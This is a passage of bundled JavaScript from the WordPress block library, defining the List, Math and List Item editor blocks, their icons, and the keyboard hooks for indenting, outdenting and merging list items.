26647 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
26648 style: {
26649 ...external_wp_element_namespaceObject.Platform.isNative && style,
26650 listStyleType: ordered && type !== "decimal" ? type : void 0
26651 }
26652 });
26653 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
26654 defaultBlock: list_edit_DEFAULT_BLOCK,
26655 directInsert: true,
26656 template: list_edit_TEMPLATE,
26657 templateLock: false,
26658 templateInsertUpdatesSelection: true,
26659 ...external_wp_element_namespaceObject.Platform.isNative && {
26660 marginVertical: NATIVE_MARGIN_SPACING,
26661 marginHorizontal: NATIVE_MARGIN_SPACING,
26662 renderAppender: false
26663 },
26664 __experimentalCaptureToolbars: true
26665 });
26666 useMigrateOnLoad(attributes, clientId);
26667 const controls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
26668 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26669 external_wp_components_namespaceObject.ToolbarButton,
26670 {
26671 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_bullets_rtl_default : format_list_bullets_default,
26672 title: (0,external_wp_i18n_namespaceObject.__)("Unordered"),
26673 description: (0,external_wp_i18n_namespaceObject.__)("Convert to unordered list"),
26674 isActive: ordered === false,
26675 onClick: () => {
26676 setAttributes({ ordered: false });
26677 }
26678 }
26679 ),
26680 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26681 external_wp_components_namespaceObject.ToolbarButton,
26682 {
26683 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_list_numbered_rtl_default : format_list_numbered_default,
26684 title: (0,external_wp_i18n_namespaceObject.__)("Ordered"),
26685 description: (0,external_wp_i18n_namespaceObject.__)("Convert to ordered list"),
26686 isActive: ordered === true,
26687 onClick: () => {
26688 setAttributes({ ordered: true });
26689 }
26690 }
26691 ),
26692 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(IndentUI, { clientId })
26693 ] });
26694 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
26695 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26696 tag_name_default,
26697 {
26698 ordered,
26699 reversed,
26700 start,
26701 ...innerBlocksProps
26702 }
26703 ),
26704 controls,
26705 ordered && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26706 ordered_list_settings_default,
26707 {
26708 ...{
26709 setAttributes,
26710 reversed,
26711 start,
26712 type
26713 }
26714 }
26715 )
26716 ] });
26717}
26718
26719
26720;// ./node_modules/@wordpress/block-library/build-module/list/block.json
26721const list_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/list","title":"List","category":"text","allowedBlocks":["core/list-item"],"description":"An organized collection of items displayed in a specific order.","keywords":["bullet list","ordered list","numbered list"],"textdomain":"default","attributes":{"ordered":{"type":"boolean","default":false,"role":"content"},"values":{"type":"string","source":"html","selector":"ol,ul","multiline":"li","default":"","role":"content"},"type":{"type":"string"},"start":{"type":"number"},"reversed":{"type":"boolean"},"placeholder":{"type":"string"}},"supports":{"anchor":true,"html":false,"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"__unstablePasteTextInline":true,"__experimentalOnMerge":true,"__experimentalSlashInserter":true,"interactivity":{"clientNavigation":true}},"selectors":{"border":".wp-block-list:not(.wp-block-list .wp-block-list)"},"editorStyle":"wp-block-list-editor","style":"wp-block-list"}');
26722;// ./node_modules/@wordpress/block-library/build-module/list/save.js
26723
26724
26725function list_save_save({ attributes }) {
26726 const { ordered, type, reversed, start } = attributes;
26727 const TagName = ordered ? "ol" : "ul";
26728 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26729 TagName,
26730 {
26731 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
26732 reversed,
26733 start,
26734 style: {
26735 listStyleType: ordered && type !== "decimal" ? type : void 0
26736 }
26737 }),
26738 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
26739 }
26740 );
26741}
26742
26743
26744;// ./node_modules/@wordpress/block-library/build-module/list/transforms.js
26745
26746
26747
26748function getListContentSchema({ phrasingContentSchema }) {
26749 const listContentSchema = {
26750 ...phrasingContentSchema,
26751 ul: {},
26752 ol: { attributes: ["type", "start", "reversed"] }
26753 };
26754 ["ul", "ol"].forEach((tag) => {
26755 listContentSchema[tag].children = {
26756 li: {
26757 children: listContentSchema
26758 }
26759 };
26760 });
26761 return listContentSchema;
26762}
26763function getListContentFlat(blocks) {
26764 return blocks.flatMap(({ name, attributes, innerBlocks = [] }) => {
26765 if (name === "core/list-item") {
26766 return [attributes.content, ...getListContentFlat(innerBlocks)];
26767 }
26768 return getListContentFlat(innerBlocks);
26769 });
26770}
26771const list_transforms_transforms = {
26772 from: [
26773 {
26774 type: "block",
26775 isMultiBlock: true,
26776 blocks: ["core/paragraph", "core/heading"],
26777 transform: (blockAttributes) => {
26778 let childBlocks = [];
26779 if (blockAttributes.length > 1) {
26780 childBlocks = blockAttributes.map(({ content }) => {
26781 return (0,external_wp_blocks_namespaceObject.createBlock)("core/list-item", { content });
26782 });
26783 } else if (blockAttributes.length === 1) {
26784 const value = (0,external_wp_richText_namespaceObject.create)({
26785 html: blockAttributes[0].content
26786 });
26787 childBlocks = (0,external_wp_richText_namespaceObject.split)(value, "\n").map((result) => {
26788 return (0,external_wp_blocks_namespaceObject.createBlock)("core/list-item", {
26789 content: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: result })
26790 });
26791 });
26792 }
26793 return (0,external_wp_blocks_namespaceObject.createBlock)(
26794 "core/list",
26795 {
26796 anchor: blockAttributes.anchor
26797 },
26798 childBlocks
26799 );
26800 }
26801 },
26802 {
26803 type: "raw",
26804 selector: "ol,ul",
26805 schema: (args) => ({
26806 ol: getListContentSchema(args).ol,
26807 ul: getListContentSchema(args).ul
26808 }),
26809 transform: createListBlockFromDOMElement
26810 },
26811 ...["*", "-"].map((prefix) => ({
26812 type: "prefix",
26813 prefix,
26814 transform(content) {
26815 return (0,external_wp_blocks_namespaceObject.createBlock)("core/list", {}, [
26816 (0,external_wp_blocks_namespaceObject.createBlock)("core/list-item", { content })
26817 ]);
26818 }
26819 })),
26820 ...["1.", "1)"].map((prefix) => ({
26821 type: "prefix",
26822 prefix,
26823 transform(content) {
26824 return (0,external_wp_blocks_namespaceObject.createBlock)(
26825 "core/list",
26826 {
26827 ordered: true
26828 },
26829 [(0,external_wp_blocks_namespaceObject.createBlock)("core/list-item", { content })]
26830 );
26831 }
26832 }))
26833 ],
26834 to: [
26835 ...["core/paragraph", "core/heading"].map((block) => ({
26836 type: "block",
26837 blocks: [block],
26838 transform: (_attributes, childBlocks) => {
26839 return getListContentFlat(childBlocks).map(
26840 (content) => (0,external_wp_blocks_namespaceObject.createBlock)(block, {
26841 content
26842 })
26843 );
26844 }
26845 }))
26846 ]
26847};
26848var list_transforms_transforms_default = list_transforms_transforms;
26849
26850
26851;// ./node_modules/@wordpress/block-library/build-module/list/index.js
26852
26853
26854
26855
26856
26857
26858
26859
26860const { name: list_name } = list_block_namespaceObject;
26861const list_settings = {
26862 icon: list_default,
26863 example: {
26864 innerBlocks: [
26865 {
26866 name: "core/list-item",
26867 attributes: { content: (0,external_wp_i18n_namespaceObject.__)("Alice.") }
26868 },
26869 {
26870 name: "core/list-item",
26871 attributes: { content: (0,external_wp_i18n_namespaceObject.__)("The White Rabbit.") }
26872 },
26873 {
26874 name: "core/list-item",
26875 attributes: { content: (0,external_wp_i18n_namespaceObject.__)("The Cheshire Cat.") }
26876 },
26877 {
26878 name: "core/list-item",
26879 attributes: { content: (0,external_wp_i18n_namespaceObject.__)("The Mad Hatter.") }
26880 },
26881 {
26882 name: "core/list-item",
26883 attributes: { content: (0,external_wp_i18n_namespaceObject.__)("The Queen of Hearts.") }
26884 }
26885 ]
26886 },
26887 transforms: list_transforms_transforms_default,
26888 edit: list_edit_Edit,
26889 save: list_save_save,
26890 deprecated: list_deprecated_deprecated_default
26891};
26892const list_init = () => initBlock({ name: list_name, metadata: list_block_namespaceObject, settings: list_settings });
26893
26894
26895;// ./node_modules/@wordpress/icons/build-module/library/math.js
26896
26897
26898var math_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.2 6.8c-.7 0-1.4.5-1.6 1.1l-2.8 7.5-1.2-1.8c-.1-.2-.4-.3-.6-.3H3v1.5h1.6l1.2 1.8c.6.9 1.9.7 2.2-.3l2.9-7.9s.1-.2.2-.2h7.8V6.7h-7.8Zm5.3 3.4-1.9 1.9-1.9-1.9-1.1 1.1 1.9 1.9-1.9 1.9 1.1 1.1 1.9-1.9 1.9 1.9 1.1-1.1-1.9-1.9 1.9-1.9-1.1-1.1Z" }) });
26899
26900
26901;// external ["wp","a11y"]
26902const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
26903;// ./node_modules/@wordpress/block-library/build-module/math/edit.js
26904
26905
26906
26907
26908
26909
26910
26911
26912const { Badge } = unlock(external_wp_components_namespaceObject.privateApis);
26913function MathEdit({ attributes, setAttributes, isSelected }) {
26914 const { latex, mathML } = attributes;
26915 const [blockRef, setBlockRef] = (0,external_wp_element_namespaceObject.useState)();
26916 const [error, setError] = (0,external_wp_element_namespaceObject.useState)(null);
26917 const [latexToMathML, setLatexToMathML] = (0,external_wp_element_namespaceObject.useState)();
26918 const initialLatex = (0,external_wp_element_namespaceObject.useRef)(latex);
26919 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
26920 (0,external_wp_element_namespaceObject.useEffect)(() => {
26921 Promise.resolve(/* import() */).then(__webpack_require__.t.bind(__webpack_require__, 3533, 23)).then((module) => {
26922 setLatexToMathML(() => module.default);
26923 if (initialLatex.current) {
26924 __unstableMarkNextChangeAsNotPersistent();
26925 setAttributes({
26926 mathML: module.default(initialLatex.current, {
26927 displayMode: true
26928 })
26929 });
26930 }
26931 });
26932 }, [
26933 initialLatex,
26934 setAttributes,
26935 __unstableMarkNextChangeAsNotPersistent
26936 ]);
26937 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
26938 ref: setBlockRef,
26939 position: "relative"
26940 });
26941 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
26942 mathML ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26943 "math",
26944 {
26945 display: "block",
26946 dangerouslySetInnerHTML: { __html: mathML }
26947 }
26948 ) : "\u200B",
26949 isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26950 external_wp_components_namespaceObject.Popover,
26951 {
26952 placement: "bottom-start",
26953 offset: 8,
26954 anchor: blockRef,
26955 focusOnMount: false,
26956 __unstableSlotName: "__unstable-block-tools-after",
26957 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { padding: "4px", minWidth: "300px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
26958 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26959 external_wp_components_namespaceObject.TextareaControl,
26960 {
26961 __nextHasNoMarginBottom: true,
26962 __next40pxDefaultSize: true,
26963 label: (0,external_wp_i18n_namespaceObject.__)("LaTeX math syntax"),
26964 hideLabelFromVision: true,
26965 value: latex,
26966 className: "wp-block-math__textarea-control",
26967 onChange: (newLatex) => {
26968 if (!latexToMathML) {
26969 setAttributes({ latex: newLatex });
26970 return;
26971 }
26972 let newMathML = "";
26973 try {
26974 newMathML = latexToMathML(newLatex, {
26975 displayMode: true
26976 });
26977 setError(null);
26978 } catch (err) {
26979 setError(err.message);
26980 (0,external_wp_a11y_namespaceObject.speak)(err.message);
26981 }
26982 setAttributes({
26983 mathML: newMathML,
26984 latex: newLatex
26985 });
26986 },
26987 placeholder: (0,external_wp_i18n_namespaceObject.__)("e.g., x^2, \\frac{a}{b}")
26988 }
26989 ),
26990 error && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
26991 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
26992 Badge,
26993 {
26994 intent: "error",
26995 className: "wp-block-math__error",
26996 children: error
26997 }
26998 ),
26999 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", { children: ".wp-block-math__error .components-badge__content{white-space:normal}" })
27000 ] })
27001 ] }) })
27002 }
27003 )
27004 ] });
27005}
27006
27007
27008;// ./node_modules/@wordpress/block-library/build-module/math/block.json
27009const math_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/math","title":"Math","category":"text","description":"Display mathematical notation using LaTeX.","keywords":["equation","formula","latex","mathematics"],"textdomain":"default","supports":{"html":false},"attributes":{"latex":{"type":"string","role":"content"},"mathML":{"type":"string","source":"html","selector":"math"}}}');
27010;// ./node_modules/@wordpress/block-library/build-module/math/save.js
27011
27012
27013function math_save_save({ attributes }) {
27014 const { latex, mathML } = attributes;
27015 if (!latex) {
27016 return null;
27017 }
27018 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27019 "math",
27020 {
27021 display: "block",
27022 dangerouslySetInnerHTML: { __html: mathML }
27023 }
27024 ) });
27025}
27026
27027
27028;// ./node_modules/@wordpress/block-library/build-module/math/deprecated.js
27029
27030
27031const math_deprecated_v1 = {
27032 attributes: {
27033 latex: {
27034 type: "string",
27035 role: "content"
27036 },
27037 mathML: {
27038 type: "string",
27039 source: "html",
27040 selector: "math"
27041 }
27042 },
27043 save({ attributes }) {
27044 const { latex, mathML } = attributes;
27045 if (!latex) {
27046 return null;
27047 }
27048 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27049 "math",
27050 {
27051 ...external_wp_blockEditor_namespaceObject.useBlockProps.save(),
27052 display: "block",
27053 dangerouslySetInnerHTML: { __html: mathML }
27054 }
27055 );
27056 }
27057};
27058var math_deprecated_deprecated_default = [math_deprecated_v1];
27059
27060
27061;// ./node_modules/@wordpress/block-library/build-module/math/index.js
27062
27063
27064
27065
27066
27067
27068const { name: math_name } = math_block_namespaceObject;
27069const math_settings = {
27070 icon: math_default,
27071 example: {
27072 attributes: {
27073 latex: "x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}",
27074 mathML: '<semantics><mrow><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">\u2212</mo><mi>b</mi><mo>\xB1</mo><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>\u2212</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}</annotation></semantics>'
27075 },
27076 viewportWidth: 300
27077 },
27078 edit: MathEdit,
27079 save: math_save_save,
27080 deprecated: math_deprecated_deprecated_default
27081};
27082const math_init = () => initBlock({ name: math_name, metadata: math_block_namespaceObject, settings: math_settings });
27083
27084
27085;// ./node_modules/@wordpress/icons/build-module/library/list-item.js
27086
27087
27088var list_item_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 11v1.5h8V11h-8zm-6-1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
27089
27090
27091;// ./node_modules/@wordpress/block-library/build-module/list-item/block.json
27092const list_item_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/list-item","title":"List Item","category":"text","parent":["core/list"],"allowedBlocks":["core/list"],"description":"An individual item within a list.","textdomain":"default","attributes":{"placeholder":{"type":"string"},"content":{"type":"rich-text","source":"rich-text","selector":"li","role":"content"}},"supports":{"anchor":true,"className":false,"splitting":true,"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true},"color":{"gradients":true,"link":true,"background":true,"__experimentalDefaultControls":{"text":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"selectors":{"root":".wp-block-list > li","border":".wp-block-list:not(.wp-block-list .wp-block-list) > li"}}');
27093;// ./node_modules/@wordpress/icons/build-module/library/format-indent-rtl.js
27094
27095
27096var format_indent_rtl_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 5.5H4V4H20V5.5ZM12 12.5H4V11H12V12.5ZM20 20V18.5H4V20H20ZM20.0303 9.03033L17.0607 12L20.0303 14.9697L18.9697 16.0303L15.4697 12.5303L14.9393 12L15.4697 11.4697L18.9697 7.96967L20.0303 9.03033Z" }) });
27097
27098
27099;// ./node_modules/@wordpress/icons/build-module/library/format-indent.js
27100
27101
27102var format_indent_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 7.2v1.5h16V7.2H4zm8 8.6h8v-1.5h-8v1.5zm-8-3.5l3 3-3 3 1 1 4-4-4-4-1 1z" }) });
27103
27104
27105;// ./node_modules/@wordpress/block-library/build-module/list-item/hooks/use-indent-list-item.js
27106
27107
27108
27109
27110function useIndentListItem(clientId) {
27111 const { replaceBlocks, selectionChange, multiSelect } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
27112 const {
27113 getBlock,
27114 getPreviousBlockClientId,
27115 getSelectionStart,
27116 getSelectionEnd,
27117 hasMultiSelection,
27118 getMultiSelectedBlockClientIds
27119 } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
27120 return (0,external_wp_element_namespaceObject.useCallback)(() => {
27121 const _hasMultiSelection = hasMultiSelection();
27122 const clientIds = _hasMultiSelection ? getMultiSelectedBlockClientIds() : [clientId];
27123 const clonedBlocks = clientIds.map(
27124 (_clientId) => (0,external_wp_blocks_namespaceObject.cloneBlock)(getBlock(_clientId))
27125 );
27126 const previousSiblingId = getPreviousBlockClientId(clientId);
27127 const newListItem = (0,external_wp_blocks_namespaceObject.cloneBlock)(getBlock(previousSiblingId));
27128 if (!newListItem.innerBlocks?.length) {
27129 newListItem.innerBlocks = [(0,external_wp_blocks_namespaceObject.createBlock)("core/list")];
27130 }
27131 newListItem.innerBlocks[newListItem.innerBlocks.length - 1].innerBlocks.push(...clonedBlocks);
27132 const selectionStart = getSelectionStart();
27133 const selectionEnd = getSelectionEnd();
27134 replaceBlocks([previousSiblingId, ...clientIds], [newListItem]);
27135 if (!_hasMultiSelection) {
27136 selectionChange(
27137 clonedBlocks[0].clientId,
27138 selectionEnd.attributeKey,
27139 selectionEnd.clientId === selectionStart.clientId ? selectionStart.offset : selectionEnd.offset,
27140 selectionEnd.offset
27141 );
27142 } else {
27143 multiSelect(
27144 clonedBlocks[0].clientId,
27145 clonedBlocks[clonedBlocks.length - 1].clientId
27146 );
27147 }
27148 return true;
27149 }, [clientId]);
27150}
27151
27152
27153;// ./node_modules/@wordpress/block-library/build-module/list-item/hooks/use-outdent-list-item.js
27154
27155
27156
27157
27158function useOutdentListItem() {
27159 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
27160 const {
27161 moveBlocksToPosition,
27162 removeBlock,
27163 insertBlock,
27164 updateBlockListSettings
27165 } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
27166 const {
27167 getBlockRootClientId,
27168 getBlockName,
27169 getBlockOrder,
27170 getBlockIndex,
27171 getSelectedBlockClientIds,
27172 getBlock,
27173 getBlockListSettings
27174 } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
27175 function getParentListItemId(id) {
27176 const listId = getBlockRootClientId(id);
27177 const parentListItemId = getBlockRootClientId(listId);
27178 if (!parentListItemId) {
27179 return;
27180 }
27181 if (getBlockName(parentListItemId) !== "core/list-item") {
27182 return;
27183 }
27184 return parentListItemId;
27185 }
27186 return (0,external_wp_element_namespaceObject.useCallback)((clientIds = getSelectedBlockClientIds()) => {
27187 if (!Array.isArray(clientIds)) {
27188 clientIds = [clientIds];
27189 }
27190 if (!clientIds.length) {
27191 return;
27192 }
27193 const firstClientId = clientIds[0];
27194 if (getBlockName(firstClientId) !== "core/list-item") {
27195 return;
27196 }
27197 const parentListItemId = getParentListItemId(firstClientId);
27198 if (!parentListItemId) {
27199 return;
27200 }
27201 const parentListId = getBlockRootClientId(firstClientId);
27202 const lastClientId = clientIds[clientIds.length - 1];
27203 const order = getBlockOrder(parentListId);
27204 const followingListItems = order.slice(
27205 getBlockIndex(lastClientId) + 1
27206 );
27207 registry.batch(() => {
27208 if (followingListItems.length) {
27209 let nestedListId = getBlockOrder(firstClientId)[0];
27210 if (!nestedListId) {
27211 const nestedListBlock = (0,external_wp_blocks_namespaceObject.cloneBlock)(
27212 getBlock(parentListId),
27213 {},
27214 []
27215 );
27216 nestedListId = nestedListBlock.clientId;
27217 insertBlock(nestedListBlock, 0, firstClientId, false);
27218 updateBlockListSettings(
27219 nestedListId,
27220 getBlockListSettings(parentListId)
27221 );
27222 }
27223 moveBlocksToPosition(
27224 followingListItems,
27225 parentListId,
27226 nestedListId
27227 );
27228 }
27229 moveBlocksToPosition(
27230 clientIds,
27231 parentListId,
27232 getBlockRootClientId(parentListItemId),
27233 getBlockIndex(parentListItemId) + 1
27234 );
27235 if (!getBlockOrder(parentListId).length) {
27236 const shouldSelectParent = false;
27237 removeBlock(parentListId, shouldSelectParent);
27238 }
27239 });
27240 return true;
27241 }, []);
27242}
27243
27244
27245;// ./node_modules/@wordpress/block-library/build-module/list-item/hooks/use-enter.js
27246
27247
27248
27249
27250
27251
27252
27253function use_enter_useEnter(props) {
27254 const { replaceBlocks, selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
27255 const { getBlock, getBlockRootClientId, getBlockIndex, getBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
27256 const propsRef = (0,external_wp_element_namespaceObject.useRef)(props);
27257 propsRef.current = props;
27258 const outdentListItem = useOutdentListItem();
27259 return (0,external_wp_compose_namespaceObject.useRefEffect)((element) => {
27260 function onKeyDown(event) {
27261 if (event.defaultPrevented || event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
27262 return;
27263 }
27264 const { content, clientId } = propsRef.current;
27265 if (content.length) {
27266 return;
27267 }
27268 event.preventDefault();
27269 const canOutdent = getBlockName(
27270 getBlockRootClientId(
27271 getBlockRootClientId(propsRef.current.clientId)
27272 )
27273 ) === "core/list-item";
27274 if (canOutdent) {
27275 outdentListItem();
27276 return;
27277 }
27278 const topParentListBlock = getBlock(
27279 getBlockRootClientId(clientId)
27280 );
27281 const blockIndex = getBlockIndex(clientId);
27282 const head = (0,external_wp_blocks_namespaceObject.cloneBlock)({
27283 ...topParentListBlock,
27284 innerBlocks: topParentListBlock.innerBlocks.slice(
27285 0,
27286 blockIndex
27287 )
27288 });
27289 const middle = (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)());
27290 const after = [
27291 ...topParentListBlock.innerBlocks[blockIndex].innerBlocks[0]?.innerBlocks || [],
27292 ...topParentListBlock.innerBlocks.slice(blockIndex + 1)
27293 ];
27294 const tail = after.length ? [
27295 (0,external_wp_blocks_namespaceObject.cloneBlock)({
27296 ...topParentListBlock,
27297 innerBlocks: after
27298 })
27299 ] : [];
27300 replaceBlocks(
27301 topParentListBlock.clientId,
27302 [head, middle, ...tail],
27303 1
27304 );
27305 selectionChange(middle.clientId);
27306 }
27307 element.addEventListener("keydown", onKeyDown);
27308 return () => {
27309 element.removeEventListener("keydown", onKeyDown);
27310 };
27311 }, []);
27312}
27313
27314
27315;// ./node_modules/@wordpress/block-library/build-module/list-item/hooks/use-space.js
27316
27317
27318
27319
27320
27321
27322function useSpace(clientId) {
27323 const { getSelectionStart, getSelectionEnd, getBlockIndex } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
27324 const indentListItem = useIndentListItem(clientId);
27325 const outdentListItem = useOutdentListItem();
27326 return (0,external_wp_compose_namespaceObject.useRefEffect)(
27327 (element) => {
27328 function onKeyDown(event) {
27329 const { keyCode, shiftKey, altKey, metaKey, ctrlKey } = event;
27330 if (event.defaultPrevented || keyCode !== external_wp_keycodes_namespaceObject.SPACE && keyCode !== external_wp_keycodes_namespaceObject.TAB || // Only override when no modifiers are pressed.
27331 altKey || metaKey || ctrlKey) {
27332 return;
27333 }
27334 const selectionStart = getSelectionStart();
27335 const selectionEnd = getSelectionEnd();
27336 if (selectionStart.offset === 0 && selectionEnd.offset === 0) {
27337 if (shiftKey) {
27338 if (keyCode === external_wp_keycodes_namespaceObject.TAB) {
27339 if (outdentListItem()) {
27340 event.preventDefault();
27341 }
27342 }
27343 } else if (getBlockIndex(clientId) !== 0) {
27344 if (indentListItem()) {
27345 event.preventDefault();
27346 }
27347 }
27348 }
27349 }
27350 element.addEventListener("keydown", onKeyDown);
27351 return () => {
27352 element.removeEventListener("keydown", onKeyDown);
27353 };
27354 },
27355 [clientId, indentListItem]
27356 );
27357}
27358
27359
27360;// ./node_modules/@wordpress/block-library/build-module/list-item/hooks/use-merge.js
27361
27362
27363
27364function useMerge(clientId, onMerge) {
27365 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
27366 const {
27367 getPreviousBlockClientId,
27368 getNextBlockClientId,
27369 getBlockOrder,
27370 getBlockRootClientId,
27371 getBlockName
27372 } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
27373 const { mergeBlocks, moveBlocksToPosition } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
27374 const outdentListItem = useOutdentListItem();
27375 function getTrailingId(id) {
27376 const order = getBlockOrder(id);
27377 if (!order.length) {
27378 return id;
27379 }
27380 return getTrailingId(order[order.length - 1]);
27381 }
27382 function getParentListItemId(id) {
27383 const listId = getBlockRootClientId(id);
27384 const parentListItemId = getBlockRootClientId(listId);
27385 if (!parentListItemId) {
27386 return;
27387 }
27388 if (getBlockName(parentListItemId) !== "core/list-item") {
27389 return;
27390 }
27391 return parentListItemId;
27392 }
27393 function _getNextId(id) {
27394 const next = getNextBlockClientId(id);
27395 if (next) {
27396 return next;
27397 }
27398 const parentListItemId = getParentListItemId(id);
27399 if (!parentListItemId) {
27400 return;
27401 }
27402 return _getNextId(parentListItemId);
27403 }
27404 function getNextId(id) {
27405 const order = getBlockOrder(id);
27406 if (!order.length) {
27407 return _getNextId(id);
27408 }
27409 return getBlockOrder(order[0])[0];
27410 }
27411 return (forward) => {
27412 function mergeWithNested(clientIdA, clientIdB) {
27413 registry.batch(() => {
27414 const [nestedListClientId] = getBlockOrder(clientIdB);
27415 if (nestedListClientId) {
27416 if (getPreviousBlockClientId(clientIdB) === clientIdA && !getBlockOrder(clientIdA).length) {
27417 moveBlocksToPosition(
27418 [nestedListClientId],
27419 clientIdB,
27420 clientIdA
27421 );
27422 } else {
27423 moveBlocksToPosition(
27424 getBlockOrder(nestedListClientId),
27425 nestedListClientId,
27426 getBlockRootClientId(clientIdA)
27427 );
27428 }
27429 }
